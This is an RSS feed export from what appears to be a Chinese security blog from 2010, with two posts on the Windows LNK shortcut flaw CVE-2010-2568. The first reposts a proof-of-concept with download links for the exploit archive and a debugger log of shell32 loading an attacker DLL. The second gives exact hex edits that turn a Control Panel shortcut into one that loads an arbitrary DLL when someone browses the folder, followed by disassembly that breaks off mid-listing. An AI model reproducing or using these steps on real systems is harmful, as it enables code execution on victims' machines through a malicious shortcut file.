<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>神秘小强&amp;amp;１９４３ - 网络八卦</title><link>http://www.smxiaoqiang.cn/</link><description>社会工程学|0day - </description><generator>RainbowSoft Studio Z-Blog 1.8 Arwen Build 90619</generator><language>zh-CN</language><copyright>本站关键字：社会工程学,小强,0dayCopyright 2008-2010 小强 All Rights Reserved.鲁ICP备09002898号</copyright><pubDate>Sun, 05 Sep 2010 14:04:58 +0800</pubDate><item><title>CVE-2010-2568 Lnk shorcut</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Wed, 21 Jul 2010 10:45:28 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p><a href="http://www.microsoft.com/technet/security/advisory/2286198.mspx">Microsoft Security Advisory (2286198)</a></p><p>&nbsp;</p><p>&nbsp;</p><p>1. Unzip the files in 'C: \'. Start a DbgView or paste a KD to your VM.&nbsp;</p><p>2. Rename 'suckme.lnk_' to 'suckme.lnk' and let the magic do the rest of shell32.dll.&nbsp;</p><p>3. Look at your logs.&nbsp;&nbsp;</p><p><a href="http://ivanlef0u.nibbles.fr/repo/suckme.rar">http://ivanlef0u.nibbles.fr/repo/suckme.rar</a>&nbsp;</p><p><a href="http://www.exploit-db.com/sploits/suckme.rar">http://www.exploit-db.com/sploits/suckme.rar</a>&nbsp; <br />&nbsp;</p><p>&nbsp;</p><p>Test&eacute; sous XP SP3.</p><blockquote><p>kd&gt; g&nbsp;</p><p>Breakpoint 1 hit&nbsp;</p><p>eax=00000001 ebx=00f5ee7c ecx=0000c666 edx=00200003 esi=00000001 edi=7c80a6e4&nbsp;</p><p>eip=7ca78712 esp=00f5e9c4 ebp=00f5ec18 iopl=0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nv up ei pl nz na po nc&nbsp;</p><p>cs=001b&nbsp; ss=0023&nbsp; ds=0023&nbsp; es=0023&nbsp; fs=003b&nbsp; gs=0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; efl=00000202&nbsp;</p><p>SHELL32!_LoadCPLModule+0x10d:&nbsp;</p><p>001b:7ca78712 ff15a0159d7c&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [SHELL32!_imp__LoadLibraryW (7c9d15a0)] ds:0023:7c9d15a0={kernel32!LoadLibraryW (7c80aeeb)}&nbsp;</p><p>kd&gt; dd esp&nbsp;</p><p>00f5e9c4&nbsp; 00f5ee7c 000a27bc 00f5ee78 00000000&nbsp;</p><p>00f5e9d4&nbsp; 00000020 00000008 00f5ee7c 00000000&nbsp;</p><p>00f5e9e4&nbsp; 00000000 0000007b 00000000 00000000&nbsp;</p><p>00f5e9f4&nbsp; 00200073 002000e0 0000064c 0000028c&nbsp;</p><p>00f5ea04&nbsp; 1530000a 00000000 003a0043 0064005c&nbsp;</p><p>00f5ea14&nbsp; 006c006c 0064002e 006c006c 006d002e&nbsp;</p><p>00f5ea24&nbsp; 006e0061 00660069 00730065 00000074&nbsp;</p><p>00f5ea34&nbsp; 00090608 7c92005d 00000000 00000007&nbsp;</p><p>kd&gt; db 00f5ee7c&nbsp;</p><p>00f5ee7c&nbsp; 43 00 3a 00 5c 00 64 00-6c 00 6c 00 2e 00 64 00&nbsp; C.:.\.d.l.l...d.&nbsp;</p><p>00f5ee8c&nbsp; 6c 00 6c 00 00 00 92 7c-c8 f2 f5 00 00 17 72 02&nbsp; l.l....|......r.&nbsp;</p><p>00f5ee9c&nbsp; 4b d2 00 00 d8 f2 f5 00-8b d2 a1 7c 00 00 00 00&nbsp; K..........|....&nbsp;</p><p>00f5eeac&nbsp; ac 80 9d 7c 30 d8 0d 00-34 d8 0d 00 b8 d7 0d 00&nbsp; ...|0...4.......&nbsp;</p><p>00f5eebc&nbsp; 9a d2 a1 7c 30 d8 0d 00-c8 f2 f5 00 50 40 15 00&nbsp; ...|0.......P@..&nbsp;</p><p>00f5eecc&nbsp; 50 40 15 00 00 00 00 00-b8 00 92 7c 40 b7 0c 00&nbsp; P@.........|@...&nbsp;</p><p>00f5eedc&nbsp; a8 ef f5 00 41 00 92 7c-18 07 09 00 5d 00 92 7c&nbsp; ....A..|....]..|&nbsp;</p><p>00f5eeec&nbsp; c8 f2 f5 00 00 ef f5 00-00 00 00 00 b8 00 92 7c&nbsp; ...............|&nbsp;</p><p>kd&gt; kv&nbsp;</p><p>ChildEBP RetAddr&nbsp; Args to Child&nbsp;</p><p>00f5ec18 7ca81a74 00f5ee7c 000a27bc 00f5f2c4 SHELL32!_LoadCPLModule+0x10d (FPO: [1,145,4])&nbsp;</p><p>00f5ee50 7ca82543 00f5ee74 000a27bc 000a27c0 SHELL32!CPL_LoadAndFindApplet+0x4a (FPO: [4,136,4])&nbsp;</p><p>00f5f294 7cb56065 000a25b4 000a27bc 000a27c0 SHELL32!CPL_FindCPLInfo+0x46 (FPO: [4,264,4])&nbsp;</p><p>00f5f2b8 7ca13714 00000082 00000000 00000104 SHELL32!CCtrlExtIconBase::_GetIconLocationW+0x7b (FPO: [5,0,0])&nbsp;</p><p>00f5f2d4 7ca1d306 000a25ac 00000082 00f5f570 SHELL32!CExtractIconBase::GetIconLocation+0x1f (FPO: [6,0,0])&nbsp;</p><p>00f5f410 7ca133b6 000dd7e0 00000082 00f5f570 SHELL32!CShellLink::GetIconLocation+0x69 (FPO: [6,68,4])&nbsp;</p><p>00f5f77c 7ca03c88 000dd7e0 00000000 0015aa00 SHELL32!_GetILIndexGivenPXIcon+0x9c (FPO: [5,208,4])&nbsp;</p><p>00f5f7a4 7ca06693 00131c60 000dd7e0 0015aa00 SHELL32!SHGetIconFromPIDL+0x90 (FPO: [5,0,4])&nbsp;</p><p>00f5fe20 7ca12db0 00131c64 0015aa00 00000000 SHELL32!CFSFolder::GetIconOf+0x24e (FPO: [4,405,4])&nbsp;</p><p>00f5fe40 7ca15e3c 00131c60 00131c64 0015aa00 SHELL32!SHGetIconFromPIDL+0x20 (FPO: [5,0,0])&nbsp;</p><p>00f5fe68 7ca03275 000f8090 0014d5b0 0014a910 SHELL32!CGetIconTask::RunInitRT+0x47 (FPO: [1,2,4])&nbsp;</p><p>00f5fe84 75f11b9a 000f8090 75f11b18 75f10000 SHELL32!CRunnableTask::Run+0x54 (FPO: [1,1,4])&nbsp;</p><p>00f5fee0 77f49598 00155658 000cb748 77f4957b BROWSEUI!CShellTaskScheduler_ThreadProc+0x111 (FPO: [1,17,0])&nbsp;</p><p>00f5fef8 7c937ac2 000cb748 7c98e440 0014cfe0 SHLWAPI!ExecuteWorkItem+0x1d (FPO: [1,0,4])&nbsp;</p><p>00f5ff40 7c937b03 77f4957b 000cb748 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo])&nbsp;</p><p>00f5ff60 7c937bc5 00000000 000cb748 0014cfe0 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [3,0,0])&nbsp;</p><p>00f5ff74 7c937b9c 7c937ae9 00000000 000cb748 ntdll!RtlpApcCallout+0x11 (FPO: [4,0,0])&nbsp;</p><p>00f5ffb4 7c80b729 00000000 00edfce4 00edfce8 ntdll!RtlpWorkerThread+0x87 (FPO: [1,7,0])&nbsp;</p><p>00f5ffec 00000000 7c920250 00000000 00000000 kernel32!BaseThreadSta&nbsp;</p></blockquote><p>&nbsp;</p>]]></description><category>网络八卦</category><comments>http://www.smxiaoqiang.cn/#comment</comments><wfw:comment>http://www.smxiaoqiang.cn/</wfw:comment><wfw:commentRss>http://www.smxiaoqiang.cn/feed.asp?cmt=303</wfw:commentRss><trackback:ping>http://www.smxiaoqiang.cn/cmd.asp?act=tb&amp;id=303&amp;key=dd25fc86</trackback:ping></item><item><title>LNK文件漏洞简要分析</title><author>498849111@qq.com (小强)</author><link>http://www.smxiaoqiang.cn/</link><pubDate>Wed, 21 Jul 2010 03:26:55 +0800</pubDate><guid>http://www.smxiaoqiang.cn/</guid><description><![CDATA[<p>&nbsp;</p><p><span style="font-size: small"><span style=""><b>前言</b></span></span><br />windows的shell32在处理控制面板程序的快捷方式文件时，存在一个漏洞，可以加载硬盘上的任意DLL文件，即可执行任意代码。</p><p><br /><span style="font-size: small"><span style=""><b>漏洞文件的生成</b></span></span><span style="font-size: x-small"><br /></span>到&ldquo;控制面板&rdquo;下面，右键点&ldquo;显示&rdquo;，点&ldquo;创建快捷方式&rdquo;，把快捷方式创建在桌面上。然后在桌面用WinHex打开&ldquo;显示.lnk&rdquo;文件。</p><div>Offset<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;1&nbsp;2&nbsp;3&nbsp;4&nbsp;5&nbsp;6&nbsp;7&nbsp;&nbsp; 8&nbsp;9&nbsp;A&nbsp;B&nbsp;C&nbsp;D&nbsp;E&nbsp;F</span></div><div>&nbsp;</div><div>00000000<span>&nbsp;&nbsp; 4C 00 00 00 01 14 02 00&nbsp;00 00 00 00 C0 00 00 00&nbsp;&nbsp; L...........?..</span></div><div>00000010<span>&nbsp;&nbsp; 00 00 00 46 81 00 00 00&nbsp;00 00 00 00 00 00 00 00&nbsp;&nbsp; ...F?..........</span></div><div>00000020<span>&nbsp;&nbsp; 00 00 00 00 00 00 00 00&nbsp;00 00 00 00 00 00 00 00&nbsp;&nbsp; ................</span></div><div>00000030<span>&nbsp;&nbsp; 00 00 00 00 00 00 00 00&nbsp;00 00 00 00 01 00 00 00&nbsp;&nbsp; ................</span></div><div>00000040<span>&nbsp;&nbsp; 00 00 00 00 00 00 00 00&nbsp;00 00 00 00 CC 00 14 00&nbsp;&nbsp; ............?..</span></div><div>00000050<span>&nbsp;&nbsp; 1F 50 E0 4F D0 20 EA 3A&nbsp;69 10 A2 D8 08 00 2B 30&nbsp;&nbsp; .P郞??i.⒇..+0</span></div><div>00000060<span>&nbsp;&nbsp; 30 9D 14 00 2E 00 20 20&nbsp;EC 21 EA 3A 69 10 A2 DD&nbsp;&nbsp; 0?...&nbsp;??i.⑤</span></div><div>00000070<span>&nbsp;&nbsp; 08 00 2B 30 30 9D A2 00&nbsp;00 00 <span style="color: fuchsia">9C FF FF FF</span> 00 00&nbsp;&nbsp; ..+00潰...?</span>..</div><div>00000080<span>&nbsp;&nbsp; 00 00 00 6A 00 00 00 00&nbsp;00 00 1D 00 20 00 <span style="color: lime">44 00</span>&nbsp;&nbsp; ...j........ .<span style="color: lime">D.</span></span></div><div>00000090<span>&nbsp;&nbsp; <span style="color: lime">3A 00 5C 00 57 00 49 00&nbsp;4E 00 44 00 4F 00 57 00</span>&nbsp;&nbsp; <span style="color: lime">:.\.W.I.N.D.O.W.</span></span></div><div>000000A0<span>&nbsp;&nbsp; <span style="color: lime">53 00 5C 00 73 00 79 00&nbsp;73 00 74 00 65 00 6D 00</span>&nbsp;&nbsp; <span style="color: lime">S.\.s.y.s.t.e.m.</span></span></div><div>000000B0<span>&nbsp;&nbsp; <span style="color: lime">33 00 32 00 5C 00 64 00&nbsp;65 00 73 00 6B 00 2E 00</span>&nbsp;<span style="color: lime">&nbsp;3.2.\.d.e.s.k...</span></span></div><div>000000C0<span>&nbsp;&nbsp; <span style="color: lime">63 00 70 00 6C</span> 00 00 00&nbsp;3E 66 3A 79 00 00 F4 66&nbsp;<span style="color: lime">&nbsp;c.p.l</span>...&gt;f:y..鬴</span></div><div>000000D0<span>&nbsp;&nbsp; 39 65 A8 60 84 76 4C 68&nbsp;62 97 84 76 16 59 C2 89&nbsp;&nbsp; 9e╜剉Lhb梽v.Y</span></div><div>000000E0<span>&nbsp;&nbsp; 0C FF 8B 4F 82 59 CC 80&nbsp;6F 66 01 30 4F 5C 55 5E&nbsp;&nbsp; .</span>婳俌虁<span>of.0O\U^</span></div><div>000000F0<span>&nbsp;&nbsp; DD 4F A4 62 0B 7A 8F 5E&nbsp;01 30 9C 98 72 82 01 30&nbsp;&nbsp; 軴</span>.z廭.0湗r?0</div><div>00000100<span>&nbsp;&nbsp; 57 5B 53 4F 27 59 0F 5C&nbsp;8C 54 4F 5C 55 5E 06 52&nbsp;&nbsp; W[SO'Y.\孴O\U^.R</span></div><div>00000110<span>&nbsp;&nbsp; A8 8F 87 73 02 30 00 00&nbsp;00 00 00 00 00 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ◤噑.0........</span></div><div>&nbsp;</div><div>把偏移<span>7A处的<span style="color: fuchsia">9C FF FF FF<span style="color: black">改成00 00 00 00，把后面的文件名D:\WINDOWS\system32\desk.cpl改成C:\dll.dll（UNICODE格式）。保存文件。把这个文件复制到任意目录下，当用户浏览该目录时，就会加载C:\dll.dll文件。</span></span></span></div><div>&nbsp;</div><div><span style="font-size: small"><span style=""><b>Lnk文件格式的相关地方</b></span></span></div><div style="text-indent: 21pt">Lnk的目标文件存放在Shell Item Id List的SHITEMID结构里面，这个结构是按照层来表示一个目标的。上面那个lnk文件里面，第一层是</div><div style="text-indent: 278.25pt">&nbsp;14 00<span>&nbsp;&nbsp; ............?..</span></div><div>00000050<span>&nbsp;&nbsp; 1F 50 E0 4F D0 20 EA 3A&nbsp;69 10 A2 D8 08 00 2B 30&nbsp;&nbsp; .P郞??i.⒇..+0</span></div><div>00000060<span>&nbsp;&nbsp; 30 9D</span></div><div>14 00代表长度，后面的16字节是&ldquo;我的电脑&rdquo;的GUID {20D04FE0-3AEA-1069-A2D8-08002B30309D}，注册表里可以搜到。第二层是</div><div style="text-indent: 89.25pt">14 00 2E 00 20 20&nbsp;EC 21 EA 3A 69 10 A2 DD<span>&nbsp;&nbsp; 0?...&nbsp;??i.⑤</span></div><div>00000070<span>&nbsp;&nbsp; 08 00 2B 30 30 9D</span></div><div>这个是&ldquo;控制面板&rdquo;的<span>GUID</span> {21EC2020-3AEA-1069-A2DD-08002B30309D}。</div><div>第三层就是后面长度为<span>0xA2的目标文件。这里面偏移0x7A处的<span style="color: fuchsia">9C FF FF FF<span style="color: black">是用来指明快捷方式图标的index。貌似是这样的。</span></span></span></div><div><span style="color: black">所以这个</span>Shell Item Id List所指向的文件就是：我的电脑-&gt;控制面板-&gt;<span style="color: black">D:\WINDOWS\system32\desk.cpl。</span></div><div><span style="color: black">对于普通文件的快捷方式，好像是：我的电脑-&gt;盘符-&gt;目录1-&gt;目录2&hellip;-&gt;文件名。</span></div><div>&nbsp;</div><div><span style="font-size: small"><span style=""><b>漏洞产生的地方</b></span></span></div><div><span>&nbsp;&nbsp;&nbsp; shell32</span>在处理lnk文件的时候要把它的图标显示出来，对于一般文件应该是从Icon&nbsp;filename&nbsp;string里面解析，但对于文件后面没有Icon&nbsp;filename&nbsp;string结构的控制面板快捷方式，是直接从0x7A那里的iconindex来解析。当这个iconindex是0的时候，会去加载cpl文件，调用CPlApplet接口，这样就存在执行DLL中代码的问题。</div><div>7D716064<span>&nbsp;&nbsp;&nbsp; 53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ebx</span></div><div>7D716065<span>&nbsp;&nbsp;&nbsp; FF75 10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; dword ptr [ebp+10]</span></div><div>7D716068<span>&nbsp;&nbsp;&nbsp; 8D5E 0C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; ebx, dword ptr [esi+C]</span></div><div>7D71606B<span>&nbsp;&nbsp;&nbsp; 53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ebx</span></div><div>7D71606C<span>&nbsp;&nbsp;&nbsp; FF75 0C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; dword ptr [ebp+C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;C:\dll.dll,0,&lt;-</span>这个0就是从偏移7A那里得到的iconindex</div><div>7D71606F<span>&nbsp;&nbsp;&nbsp; FF15 0015597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;KERNEL32.lstrcpynW&gt;&gt;; kernel32.lstrcpynW</span></div><div>7D716075<span>&nbsp;&nbsp;&nbsp; 6A 2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; 2C</span></div><div>7D716077<span>&nbsp;&nbsp;&nbsp; FF75 0C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; dword ptr [ebp+C]</span></div><div>7D71607A<span>&nbsp;&nbsp;&nbsp; FF15 F41B597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;SHLWAPI.StrChrW&gt;]&nbsp;&nbsp; ; shlwapi.StrChrW</span></div><div>7D716080<span>&nbsp;&nbsp;&nbsp; 85C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp; eax, eax</span></div><div>7D716082<span>&nbsp;&nbsp;&nbsp; 74 5D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; je&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short 7D7160E1</span></div><div>7D716084<span>&nbsp;&nbsp;&nbsp; 66:8320 00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; word ptr [eax], 0</span></div><div>7D716088<span>&nbsp;&nbsp;&nbsp; 83C0 02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add&nbsp;&nbsp;&nbsp;&nbsp; eax, 2</span></div><div>7D71608B<span>&nbsp;&nbsp;&nbsp; 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span></div><div>7D71608C<span>&nbsp;&nbsp;&nbsp; FF15 641C597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;SHLWAPI.StrToIntW&gt;] ; shlwapi.StrToIntW</span></div><div>7D716092<span>&nbsp;&nbsp;&nbsp; 8B7D 14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; edi, dword ptr [ebp+14]</span></div><div>7D716095<span>&nbsp;&nbsp;&nbsp; 8907&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [edi], eax</span></div><div>7D716097<span>&nbsp;&nbsp;&nbsp; 8B45 18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, dword ptr [ebp+18]</span></div><div>7D71609A<span>&nbsp;&nbsp;&nbsp; C700 02000000&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [eax], 2</span></div><div>7D7160A0<span>&nbsp;&nbsp;&nbsp; 8B0F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, dword ptr [edi]</span></div><div>7D7160A2<span>&nbsp;&nbsp;&nbsp; 33D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; edx, edx</span></div><div>7D7160A4 <span>&nbsp;&nbsp;&nbsp;3BCA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;cmp&nbsp;&nbsp;&nbsp;&nbsp; ecx, edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;</span>偏移0x7A必须得是0，才会LoadLibary</div><div>7D7160A6<span>&nbsp;&nbsp;&nbsp; 75 33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short 7D7160DB</span></div><div>7D7160A8<span>&nbsp;&nbsp;&nbsp; C700 1A000000&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [eax], 1A</span></div><div>7D7160AE<span>&nbsp;&nbsp;&nbsp; 8D86 14020000&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, dword ptr [esi+214]</span></div><div>7D7160B4<span>&nbsp;&nbsp;&nbsp; 3910&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [eax], edx</span></div><div>7D7160B6<span>&nbsp;&nbsp;&nbsp; 8955 0C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp+C], edx</span></div><div>7D7160B9<span>&nbsp;&nbsp;&nbsp; 75 16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short 7D7160D1</span></div><div>7D7160BB<span>&nbsp;&nbsp;&nbsp; 8D4D 0C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; ecx, dword ptr [ebp+C]</span></div><div>7D7160BE<span>&nbsp;&nbsp;&nbsp; 51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ecx</span></div><div>7D7160BF<span>&nbsp;&nbsp;&nbsp; 8D8E 18020000&nbsp;&nbsp; lea &nbsp;&nbsp;&nbsp;&nbsp;ecx, dword ptr [esi+218]</span></div><div>7D7160C5<span>&nbsp;&nbsp;&nbsp; 51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ecx</span></div><div>7D7160C6<span>&nbsp;&nbsp;&nbsp; 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span></div><div>7D7160C7<span>&nbsp;&nbsp;&nbsp; 53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; ebx</span></div><div>7D7160C8<span>&nbsp;&nbsp;&nbsp; E8 48C4F2FF&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; 7D642515&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;</span>这里调用后面</div><div>&nbsp;</div><div>后面</div><div>7D63866D<span>&nbsp;&nbsp;&nbsp; FF15 6415597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;KERNEL32.GetCurrent&gt;; kernel32.GetCurrentProcessId</span></div><div>7D638673<span>&nbsp;&nbsp;&nbsp; 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span></div><div>7D638674<span>&nbsp;&nbsp;&nbsp; 56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; esi</span></div><div>7D638675<span>&nbsp;&nbsp;&nbsp; 68 00001000&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; 100000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; UNICODE &quot;f1df_6.0.2600.5512_x-ww_35d4ce83\&quot;</span></div><div>7D63867A<span>&nbsp;&nbsp;&nbsp; 8985 E4FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-21C], eax</span></div><div>7D638680<span>&nbsp;&nbsp;&nbsp; FF15 6815597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;KERNEL32.OpenProces&gt;; kernel32.OpenProcess</span></div><div>7D638686<span>&nbsp;&nbsp;&nbsp; 3BC6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; eax, esi</span></div><div>7D638688<span>&nbsp;&nbsp;&nbsp; 8985 E8FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-218], eax</span></div><div>7D63868E<span>&nbsp;&nbsp;&nbsp; 0F84 E5000000&nbsp;&nbsp; je&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7D638779</span></div><div>7D638694<span>&nbsp;&nbsp;&nbsp; 8D85 F4FDFFFF&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, dword ptr [ebp-20C]</span></div><div>7D63869A<span>&nbsp;&nbsp;&nbsp; 50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp; eax</span></div><div>7D63869B <span>&nbsp;&nbsp;&nbsp;FF15 A41C597D&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; dword ptr [&lt;&amp;SHLWAPI.PathFileExi&gt;; shlwapi.PathFileExistsW</span></div><div>7D6386A1<span>&nbsp;&nbsp;&nbsp; 85C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test&nbsp;&nbsp;&nbsp; eax, eax</span></div><div>7D6386A3<span>&nbsp;&nbsp;&nbsp; C785 BCFDFFFF 2&gt;mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-244], 20</span></div><div>7D6386AD<span>&nbsp;&nbsp;&nbsp; 74 14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; je&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short 7D6386C3</span></div><div>7D6386AF<span>&nbsp;&nbsp;&nbsp; 8D85 F4FDFFFF&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; eax, dword ptr [ebp-20C]</span></div><div>7D6386B5<span>&nbsp;&nbsp;&nbsp; 89B5 C0FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-240], esi</span></div><div>7D6386BB<span>&nbsp;&nbsp;&nbsp; 8985 C4FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-23C], eax</span></div><div>7D6386C1<span>&nbsp;&nbsp;&nbsp; EB 1A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp&nbsp;&nbsp;&nbsp;&nbsp; short 7D6386DD</span></div><div>7D6386C3<span>&nbsp;&nbsp;&nbsp; C785 C0FDFFFF 0&gt;mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-240], 8</span></div><div>7D6386CD<span>&nbsp;&nbsp;&nbsp; 899D C4FDFFFF&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebp-23C], 